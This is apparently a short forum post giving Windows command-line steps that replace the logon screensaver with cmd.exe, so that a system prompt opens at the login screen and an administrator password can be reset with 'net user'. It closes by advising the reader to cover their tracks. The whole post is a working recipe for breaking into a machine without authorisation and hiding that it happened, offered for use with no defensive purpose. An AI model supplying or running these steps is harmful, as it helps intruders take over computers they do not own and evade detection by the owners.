This will work if you can get any kind of DOS prompt up... E.g. CMD, command.com and so on..
Code:
cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit
enter each line of code one after the other hitting enter inbetween.
Restart computer, an unprotected DOS-prompt will come up. Enter this "net user ADMINNAME PASSWORD".. e.g.
Code:
net user sheligalo owns
username = sheligalo
pass = owns
DON'T Forget to cover your tracks, copy the contents of temphack back into the system32 dir to cover tracks.